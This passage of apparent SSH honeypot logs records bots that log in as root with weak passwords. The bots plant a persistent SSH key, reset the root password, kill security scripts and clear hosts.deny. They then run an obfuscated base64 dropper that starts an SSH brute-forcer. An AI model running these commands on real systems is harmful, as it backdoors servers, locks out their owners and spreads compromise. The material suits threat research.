Processor"},{"seq":31,"at":"2026-08-23T08:14:21.259055+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T08:14:21.725842+00:00","kind":"output","latency_ms":466,"data":"24G"},{"seq":33,"at":"2026-08-23T08:14:22.437477+00:00","kind":"input","latency_ms":null,"data":"echo \"root sc@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T08:14:22.660634+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T08:14:23.067790+00:00","kind":"output","latency_ms":405,"data":""},{"seq":36,"at":"2026-08-23T08:14:23.410153+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T08:14:24.006648+00:00","kind":"output","latency_ms":596,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":38,"at":"2026-08-23T08:14:24.309454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T08:14:24.888827+00:00","kind":"output","latency_ms":578,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":40,"at":"2026-08-23T08:14:25.400742+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T08:14:25.877774+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T08:14:26.475715+00:00","kind":"output","latency_ms":597,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":43,"at":"2026-08-23T08:14:27.006845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T08:14:27.610182+00:00","kind":"output","latency_ms":602,"data":"filename: /var/tmp/.systemcache436621\ncontent: ROOT_ACCESS_GRANTED\nsize: 18\nowner: root\nmode: 600"},{"seq":45,"at":"2026-08-23T08:14:28.081112+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T08:14:28.548309+00:00","kind":"output","latency_ms":465,"data":""},{"seq":47,"at":"2026-08-23T08:15:44.522419+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T08:15:44.523412+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"sc@123","method":"password","accepted":true,"tier":"other"}]} {"id":"fbe487c2-e38d-4eca-b4f1-0815e77cb3af","name":"umber-coral-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"107.180.88.176","src_port":32976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:17:08.121725+00:00","ended_at":"2026-08-23T06:17:08.182859+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3588,"events":[{"seq":1,"at":"2026-08-23T06:16:45.114788+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:16:45.350114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:16:48.690222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T06:16:48.690720+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T06:16:48.928875+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YvbvY6ifK4Pm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T06:16:49.166040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T06:16:49.361709+00:00","kind":"output","latency_ms":432,"data":""},{"seq":8,"at":"2026-08-23T06:16:49.402562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T06:16:49.403125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T06:16:49.641836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T06:16:50.141330+00:00","kind":"output","latency_ms":496,"data":" 15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-23T06:16:50.371649+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T06:16:50.907642+00:00","kind":"output","latency_ms":536,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T06:16:51.149754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T06:16:51.150066+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:16:51.398559+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T06:16:51.399309+00:00","kind":"output","latency_ms":null,"data":" 06:16:51 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T06:16:51.635881+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T06:16:51.636453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T06:16:51.868720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T06:16:51.869156+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T06:16:52.101427+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T06:16:52.101876+00:00","kind":"output","latency_ms":null,"data":"top - 06:16:52 up 3 days, 3:06, 0 user, load average: 0.15, 0.11, 0.17\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T06:16:52.331464+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T06:16:52.332195+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T06:16:52.559561+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T06:16:52.560017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T06:16:52.800736+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T06:16:52.801509+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T06:16:53.036093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T06:16:53.619839+00:00","kind":"output","latency_ms":582,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-23T06:16:53.857439+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T06:16:54.402966+00:00","kind":"output","latency_ms":544,"data":"24.0G"},{"seq":34,"at":"2026-08-23T06:16:55.285718+00:00","kind":"input","latency_ms":null,"data":"echo \"root #Admin123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T06:16:55.525605+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T06:16:55.947005+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-23T06:16:56.304497+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T06:16:56.907903+00:00","kind":"output","latency_ms":601,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":39,"at":"2026-08-23T06:16:57.140538+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T06:16:57.603607+00:00","kind":"output","latency_ms":462,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":41,"at":"2026-08-23T06:16:57.839910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T06:16:58.081588+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:58.630050+00:00","kind":"output","latency_ms":547,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":44,"at":"2026-08-23T06:16:58.861608+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T06:16:59.400649+00:00","kind":"output","latency_ms":534,"data":"MFA: disabled\nSSH: allow-password\nBackup: hayloft\nNODE_ENV=production"},{"seq":46,"at":"2026-08-23T06:16:59.625655+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T06:17:00.116545+00:00","kind":"output","latency_ms":489,"data":""},{"seq":48,"at":"2026-08-23T06:17:08.122532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T06:17:08.123721+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"#Admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"70fe1f9e-b460-4fb0-8891-63a61305e666","name":"wistful-peaty-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"136.232.11.10","src_port":43268,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":715,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:16:26.327703+00:00","ended_at":"2026-08-23T06:16:26.559283+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4025,"events":[{"seq":1,"at":"2026-08-23T06:15:27.296909+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:15:28.016652+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:15:28.580814+00:00","kind":"output","latency_ms":550,"data":""},{"seq":4,"at":"2026-08-23T06:15:33.819651+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T06:15:34.452999+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T06:15:35.170062+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G8YT2A6uqGbG\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T06:15:35.870843+00:00","kind":"output","latency_ms":430,"data":""},{"seq":8,"at":"2026-08-23T06:15:35.882342+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T06:15:36.597115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T06:15:37.429942+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T06:15:38.141567+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T06:15:39.224521+00:00","kind":"output","latency_ms":510,"data":"15888 3124 902 13176 228 4150"},{"seq":13,"at":"2026-08-23T06:15:39.940434+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T06:15:40.856507+00:00","kind":"output","latency_ms":622,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T06:15:41.570358+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T06:15:41.842745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-23T06:15:42.558029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T06:15:43.194202+00:00","kind":"output","latency_ms":null,"data":" 06:15:43 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T06:15:43.910360+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T06:15:44.355134+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T06:15:45.071160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T06:15:45.826313+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T06:15:46.542998+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T06:15:47.135540+00:00","kind":"output","latency_ms":null,"data":"top - 06:15:47 up 3 days, 3:05, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T06:15:47.849915+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T06:15:48.618084+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T06:15:49.334924+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T06:15:50.225322+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T06:15:50.942396+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T06:15:51.248793+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T06:15:51.964667+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T06:15:53.511518+00:00","kind":"output","latency_ms":911,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":33,"at":"2026-08-23T06:15:54.227882+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T06:15:54.965948+00:00","kind":"output","latency_ms":411,"data":"24G"},{"seq":35,"at":"2026-08-23T06:16:03.423063+00:00","kind":"input","latency_ms":null,"data":"echo \"root Aa654321\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T06:16:04.136168+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T06:16:05.364455+00:00","kind":"output","latency_ms":628,"data":""},{"seq":38,"at":"2026-08-23T06:16:06.690081+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T06:16:08.157897+00:00","kind":"output","latency_ms":586,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T06:16:08.873561+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T06:16:09.693179+00:00","kind":"output","latency_ms":548,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T06:16:10.408911+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T06:16:11.122458+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T06:16:12.504023+00:00","kind":"output","latency_ms":608,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T06:16:13.218968+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T06:16:14.371174+00:00","kind":"output","latency_ms":823,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T06:16:15.087448+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T06:16:16.279846+00:00","kind":"output","latency_ms":557,"data":""},{"seq":49,"at":"2026-08-23T06:16:26.329012+00:00","kind":"input","latency_ms":null,"data":"whoami"}],"credentials":[{"username":"root","password":"Aa654321","method":"password","accepted":true,"tier":"other"}]} {"id":"1bf9d4d1-932e-4c46-97f1-1042d928ad0f","name":"pewter-prairie-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"136.232.11.10","src_port":51318,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":734,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:13:42.454122+00:00","ended_at":"2026-08-23T06:13:43.667628+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2320,"events":[{"seq":1,"at":"2026-08-23T06:13:07.779871+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:13:08.508064+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:13:24.986004+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T06:13:24.986819+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T06:13:25.720056+00:00","kind":"input","latency_ms":null,"data":"echo \"root:s08SlXm8Ovn8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T06:13:26.231292+00:00","kind":"output","latency_ms":510,"data":""},{"seq":7,"at":"2026-08-23T06:13:26.453308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-23T06:13:27.182764+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T06:13:27.183618+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T06:13:27.917703+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T06:13:28.485763+00:00","kind":"output","latency_ms":567,"data":"15888 2144 11234 98 2410 1493"},{"seq":12,"at":"2026-08-23T06:13:29.218138+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T06:13:29.874598+00:00","kind":"output","latency_ms":654,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T06:13:30.610838+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T06:13:30.612106+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-23T06:13:31.575696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T06:13:31.576424+00:00","kind":"output","latency_ms":null,"data":" 06:13:31 up 3 days, 3:03, 0 user, load average: 0.31, 0.26, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T06:13:32.309579+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T06:13:32.926847+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T06:13:33.659776+00:00","kind":"input","latency_ms":null,"data":"cat 